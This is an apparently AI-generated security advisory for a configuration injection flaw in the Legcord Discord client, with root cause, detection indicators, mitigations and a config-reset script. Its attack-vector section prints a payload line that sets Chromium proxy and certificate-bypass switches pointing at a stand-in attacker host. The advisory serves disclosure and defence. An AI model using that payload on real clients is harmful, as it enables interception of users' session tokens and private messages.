Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
Sources: National Vulnerability Database, CISA KEV, Exploit-DB
CVE-2026-105294 Overview
CVE-2026-105294 is a configuration injection vulnerability in Legcord versions 1.1.0 through 1.3.0, an alternative Discord client built on Electron. Scripts running in the Discord page can write any configuration key through the window.legcordsettings.setConfig bridge. Attackers who chain a Discord-side cross-site scripting (XSS) flaw can set additionalArguments to persistently inject --proxy-server and --ignore-certificate-errors Chromium switches. This routes all client traffic through an attacker-controlled interception proxy and disables certificate validation. The weakness is tracked under [CWE-15: External Control of System or Configuration Setting].
Critical Impact
Persistent Chromium switch injection enables full man-in-the-middle interception of Discord session traffic, exposing authentication tokens, direct messages, and attachments.
Affected Products
- Legcord 1.1.0
- Legcord 1.2.0
- Legcord 1.3.0
Discovery Timeline
- 2026-10-05 - CVE-2026-105294 published to NVD
- 2026-10-06 - Last updated in NVD database
Technical Details for CVE-2026-105294
Vulnerability Analysis
Legcord exposes a renderer-to-main inter-process communication (IPC) bridge at window.legcord that includes a settings.setConfig method. The implementation in src/discord/ipc.ts accepts an arbitrary key-value pair from the renderer and writes it to the persisted configuration store without an allowlist. The main process in src/main.ts later reads the additionalArguments configuration entry and appends each entry to the Chromium command line at startup. This grants the renderer, which hosts untrusted Discord web content, write access to privileged launch parameters.
Root Cause
The root cause is missing validation on the configuration key accepted by the IPC bridge. The setConfig handler trusts the renderer to pass only safe keys, violating the Electron security principle that renderer-originating data must be treated as attacker-controlled. Any configuration field, including security-sensitive ones such as additionalArguments, becomes writable from the page context.
Attack Vector
Exploitation requires an XSS primitive inside the Discord page rendered by Legcord. The attacker's script calls window.legcord.settings.setConfig("additionalArguments", ["--proxy-server=attacker.example:8080", "--ignore-certificate-errors"]). On the next client launch, Chromium starts with those switches, routing HTTPS traffic through the attacker proxy and suppressing certificate errors. The attacker then intercepts Discord session tokens, API requests, and voice signaling in cleartext. Persistence survives application restarts because the configuration is written to disk. See the VulnCheck advisory for Legcord and GitHub Issue #1163 for additional technical details.
Detection Methods for CVE-2026-105294
Indicators of Compromise
- Unexpected --proxy-server or --ignore-certificate-errors values in the Legcord process command line.
- Modifications to the Legcord settings.json file containing a populated additionalArguments array referencing proxies or TLS validation flags.
- Outbound Legcord network connections to non-Discord infrastructure on uncommon ports.
Detection Strategies
- Monitor process creation events for legcord or electron child processes whose command line contains Chromium switches not shipped by the vendor defaults.
- Baseline the Legcord configuration file hash per user and alert on changes to additionalArguments.
- Inspect endpoint network telemetry for Discord client traffic traversing proxies that are not sanctioned by the organization.
Monitoring Recommendations
- Enable endpoint detection and response (EDR) command-line logging on workstations where Legcord is installed.
- Forward Legcord configuration file write events to the security data lake for retroactive hunting.
- Alert on first-seen outbound destinations correlated with the Legcord process.
How to Mitigate CVE-2026-105294
Immediate Actions Required
- Inventory all endpoints running Legcord 1.1.0 through 1.3.0 and prioritize removal or upgrade.
- Audit each affected host for a non-empty additionalArguments field in the Legcord configuration and revert it to an empty array.
- Rotate Discord credentials and session tokens on hosts where tampering is suspected.
- Block known attacker proxy destinations at the network egress layer.
Patch Information
At the time of publication, no fixed version is listed in the NVD entry. Monitor the Legcord GitHub repository and GitHub Issue #1163 for a release that restricts the settings.setConfig IPC handler to a safe key allowlist. Until a patch is available, uninstall affected versions on managed endpoints.
Workarounds
- Uninstall Legcord and use the official Discord client or the browser version until a fixed release is published.
- Enforce application allowlisting to prevent execution of Legcord binaries in the affected version range.
- Deploy egress filtering that restricts Discord client traffic to Discord-owned IP ranges, breaking attacker proxy exfiltration.
# Configuration example: reset additionalArguments on affected hosts (Linux/macOS)
CONFIG="$HOME/.config/legcord/settings.json"
if [ -f "$CONFIG" ]; then
python3 -c "import json,sys;p='$CONFIG';d=json.load(open(p));d['additionalArguments']=[];json.dump(d,open(p,'w'),indent=2)"
fi
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
Sources: National Vulnerability Database, CISA KEV, Exploit-DB

